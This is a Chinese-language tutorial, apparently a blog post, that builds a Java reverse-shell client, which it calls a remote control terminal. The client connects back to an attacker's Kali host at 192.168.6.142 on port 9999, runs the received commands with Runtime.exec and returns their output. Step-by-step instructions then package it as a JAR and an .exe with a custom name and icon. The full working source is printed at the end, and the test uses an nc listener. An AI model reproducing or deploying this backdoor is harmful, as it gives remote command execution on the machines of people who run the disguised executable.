使用Java制作一个简易的远控终端

远控终端的本质

1、服务端(攻击者)传输消息 ----> socket连接 ----> 客户端(被攻击者)接收消息

2、客户端执行消息内容(即执行服务端传回来的命令)

3、客户端传输执行结果 ----> socket连接 ----> 服务端显示命令执行结果

Java制作简易的远控

1、环境

环境:IntelliJ IDEA 2022.1.1 + jdk1.8 + exe4j.exe

2、新建项目

打开idea,直接新建一个最普通的Java项目即可。

3、新建一个Java类

4、编写程序

(1)导入需要使用到的类包

import java.io.*;

import java.net.Socket;

import java.nio.charset.StandardCharsets;

(2)编写main方法

...

import java.nio.charset.StandardCharsets;

public class RemoteControl {

public static void main(String[] args) {

}

}

(3)建立socket连接

public static void main(String[] args) {

try {

// 建立socket连接

Socket socket = new Socket("192.168.6.142", 9999);

} catch (IOException e) {

e.printStackTrace();

}

}

(4)接收服务端传输的消息(即命令)

...

import java.nio.charset.StandardCharsets;

public class RemoteControl {

public static void main(String[] args) {

try {

// 建立socket连接

Socket socket = new Socket("192.168.6.142", 9999);

// 建立成功后while循环保持连接

while (true) {

// inputStream接收服务端传入的字节流数据

InputStream inputStream = socket.getInputStream();

// 定义客户端以一个字节大小的方式接收服务端传入的字节流数据

byte[] bytes = new byte[1];

// 服务端传入字节流数据转化成字符型数据——命令

String command = "";

while (true) {

// 判断服务端传入的字节流数据是否被bytes字节数组接收完

if (inputStream.available() > 0) {

// 将服务端传入的字节流数据以一个字节大小的方式读入bytes字节数组中

inputStream.read(bytes);

// 将读入的字节流数据转化成16进制数据

String hexString = BytesToHexString(bytes);

// 将16进制数据转化成字符型数据并赋值给command——命令

command += HexStringToString(hexString);

// 判断服务端传入的字节流数据是否读完,如果读完就执行命令,否则跳过以下流程继续循环读取服务端传入的字节流数据直到读完为止

if (inputStream.available() == 0) {

// 去掉服务端传回来命令的空格

command = command.trim();

// 如果传回来的命令为exit,就直接断开连接

if (command.equals("exit")) {

return;

}

}

}

}

}

}

...

}

}

其中需要将接收数据的字节流先转化为16进制数据,再将16进制数据转化为字符型数据,这里分别自定义了两个静态方法:BytesToHexString和HexStringToString。

两个方法的定义如下:

...

import java.nio.charset.StandardCharsets;

public class RemoteControl {

public static void main(String[] args) {

......

}

// 将字节流数据转化为16进制数据

public static String BytesToHexString(byte[] bytes) {

if (bytes == null) {

return null;

}

char[] hexArray = "0123456789ABCDEF".toCharArray();

char[] hexChars = new char[bytes.length * 2];

for (int i = 0; i < bytes.length; i++) {

int temp = bytes[i] & 0xFF;

hexChars[i * 2] = hexArray[temp >> 4];

hexChars[i * 2 + 1] = hexArray[temp & 0x0F];

}

return new String(hexChars);

}

// 将16进制数据转化为字符型数据

public static String HexStringToString(String hexString) {

byte[] array = new byte[hexString.length() / 2];

try {

for (int i = 0; i < array.length; i++) {

array[i] = (byte) (0xFF & Integer.parseInt(hexString.substring(i * 2, i * 2 + 2), 16));

}

hexString = new String(array, "UTF-8");

} catch (UnsupportedEncodingException e) {

e.printStackTrace();

return "";

}

return hexString;

}

(5)执行消息内容(即执行服务端传回来的命令)

...

import java.nio.charset.StandardCharsets;

public class RemoteControl {

public static void main(String[] args) {

try {

// 建立socket连接

Socket socket = new Socket("192.168.6.142", 9999);

// 建立成功后while循环保持连接

while (true) {

.......

while (true) {

// 判断服务端传入的字节流数据是否被bytes字节数组接收完

if (inputStream.available() > 0) {

......

// 判断服务端传入的字节流数据是否读完,如果读完就执行命令,否则跳过以下流程继续循环读取服务端传入的字节流数据直到读完为止

if (inputStream.available() == 0) {

......

}

// 执行命令并返回结果

try {

// 执行服务端传回来的命令,将命令的执行过程交给exec进程

Process exec = Runtime.getRuntime().exec(command);

} catch (Exception e) {

e.printStackTrace();

}

}

}

}

}

}

......

}

}

(6)将执行结果返回给服务端

...

import java.nio.charset.StandardCharsets;

public class RemoteControl {

public static void main(String[] args) {

try {

// 建立socket连接

Socket socket = new Socket("192.168.6.142", 9999);

// 建立成功后while循环保持连接

while (true) {

.......

while (true) {

// 判断服务端传入的字节流数据是否被bytes字节数组接收完

if (inputStream.available() > 0) {

......

// 判断服务端传入的字节流数据是否读完,如果读完就执行命令,否则跳过以下流程继续循环读取服务端传入的字节流数据直到读完为止

if (inputStream.available() == 0) {

......

}

// 执行命令并返回结果

try {

// 执行服务端传回来的命令,将命令的执行过程交给exec进程

Process exec = Runtime.getRuntime().exec(command);

// 将执行命令返回结果的流赋值给输入流results中

InputStream results = exec.getInputStream();

// 考虑到执行命令的返回结果可能会有中文字符,所以采用BufferedReader

BufferedReader reader = new BufferedReader(new InputStreamReader(results));

// 创建数据输出流,并将数据输出流中的数据流给到socket连接的输出流中,以让命令结果返回给服务端

DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream());

String line = null;

// 读取命令执行结果的一行数据,如果数据不为空,则将数据写入到数据输出流中,然后将数据输出流中的数据进行刷新

while ((line = reader.readLine()) != null) {

dataOutputStream.write((line + "\n").getBytes(StandardCharsets.UTF_8));

dataOutputStream.flush();

}

// 进程等待

exec.waitFor();

// 关闭输入流

results.close();

// 关闭读入流

reader.close();

// 销毁进程对象

exec.destroy();

break;

} catch (Exception e) {

e.printStackTrace();

} finally {

// 将存放命令的字符串置位空,防止下次执行命令的时候将该次命令也带入执行

command = "";

}

}

}

}

}

}

......

}

}

至此,Java编写远程控制终端完成!

(7)测试远控终端的可用性

打开一台kali虚拟机(IP为192.168.6.142)作为服务端,使用nc监听9999端口。 连接成功,远控终端制作完成!

5、将项目打包成jar包并生成exe文件

(1)打成jar包

步骤一

点击文件 --> 点击项目结构。

步骤二

点击工件 --> 点击JAR --> 点击来自具有…。

步骤三

将主类设为main函数所在的Java类 --> 点击确定。

步骤四

点击确定。

步骤五

点击构建 --> 点击构建项目

步骤六

再次点击构建 --> 点击构建工件

步骤七

点击构建即可。

步骤八

这时会在项目out\artifacts\remoteControl_jar目录下,生成了一个Jar文件。直接复制拖出来即可。

至此打包jar包完成。

(2)生成exe文件

使用exe4j(官网下载地址:https://exe4j.apponic.com/ )将jar包生成exe文件。

步骤一

打开exe4j --> next。

步骤二

选择"JAR in EXE"mode --> next

步骤三

填写相关内容 --> next。

步骤四

填写exe文件名字 --> 选择exe图标 --> 设置Advanced Options为32-bit or 64-bit。

步骤五

勾选选项 --> next。

步骤六

next。

步骤七

添加jar包 --> 选择jar包的存放路径 --> 选择jar包main函数所在的主类 --> next。

步骤八

选择jdk兼容最低的版本 --> 勾选"Allow JREs with a beta version number" --> next

步骤九

之后就一直next即可。 exe文件成功生成。

(3)测试exe文件的可用性

kali服务端监听端口。 点击运行生成的exe文件。 点击确定。 连接成功,Java制作远程控制终端完成!

附完整代码

import java.io.*;

import java.net.Socket;

import java.nio.charset.StandardCharsets;

public class RemoteControl {

public static void main(String[] args) {

try {

// 建立socket连接

Socket socket = new Socket("192.168.6.142", 9999);

// 建立成功后while循环保持连接

while (true) {

// inputStream接收服务端传入的字节流数据

InputStream inputStream = socket.getInputStream();

// 定义客户端以一个字节大小的方式接收服务端传入的字节流数据

byte[] bytes = new byte[1];

// 服务端传入字节流数据转化成字符型数据——命令

String command = "";

while (true) {

// 判断服务端传入的字节流数据是否被bytes字节数组接收完

if (inputStream.available() > 0) {

// 将服务端传入的字节流数据以一个字节大小的方式读入bytes字节数组中

inputStream.read(bytes);

// 将读入的字节流数据转化成16进制数据

String hexString = BytesToHexString(bytes);

// 将16进制数据转化成字符型数据并赋值给command——命令

command += HexStringToString(hexString);

// 判断服务端传入的字节流数据是否读完,如果读完就执行命令,否则跳过以下流程继续循环读取服务端传入的字节流数据直到读完为止

if (inputStream.available() == 0) {

// 去掉服务端传回来命令的空格

command = command.trim();

// 如果传回来的命令为exit,就直接断开连接

if (command.equals("exit")) {

return;

}

// 执行命令并返回结果

try {

// 执行服务端传回来的命令,将命令的执行过程交给exec进程

Process exec = Runtime.getRuntime().exec(command);

// 将执行命令返回结果的流赋值给输入流results中

InputStream results = exec.getInputStream();

// 考虑到执行命令的返回结果可能会有中文字符,所以采用BufferedReader

BufferedReader reader = new BufferedReader(new InputStreamReader(results));

// 创建数据输出流,并将数据输出流中的数据流给到socket连接的输出流中,以让命令结果返回给服务端

DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream());

String line = null;

// 读取命令执行结果的一行数据,如果数据不为空,则将数据写入到数据输出流中,然后将数据输出流中的数据进行刷新

while ((line = reader.readLine()) != null) {

dataOutputStream.write((line + "\n").getBytes(StandardCharsets.UTF_8));

dataOutputStream.flush();

}

// 进程等待

exec.waitFor();

// 关闭输入流

results.close();

// 关闭读入流

reader.close();

// 销毁进程对象

exec.destroy();

break;

} catch (Exception e) {

e.printStackTrace();

} finally {

// 将存放命令的字符串置位空,防止下次执行命令的时候将该次命令也带入执行

command = "";

}

}

}

}

}

} catch (IOException e) {

e.printStackTrace();

}

}

// 将字节流数据转化为16进制数据

public static String BytesToHexString(byte[] bytes) {

if (bytes == null) {

return null;

}

char[] hexArray = "0123456789ABCDEF".toCharArray();

char[] hexChars = new char[bytes.length * 2];

for (int i = 0; i < bytes.length; i++) {

int temp = bytes[i] & 0xFF;

hexChars[i * 2] = hexArray[temp >> 4];

hexChars[i * 2 + 1] = hexArray[temp & 0x0F];

}

return new String(hexChars);

}

// 将16进制数据转化为字符型数据

public static String HexStringToString(String hexString) {

byte[] array = new byte[hexString.length() / 2];

try {

for (int i = 0; i < array.length; i++) {

array[i] = (byte) (0xFF & Integer.parseInt(hexString.substring(i * 2, i * 2 + 2), 16));

}

hexString = new String(array, "UTF-8");

} catch (UnsupportedEncodingException e) {

e.printStackTrace();

return "";

}

return hexString;

}

}

相关链接

评论可见,请评论后查看内容,谢谢!!!
 您阅读本篇文章共花了: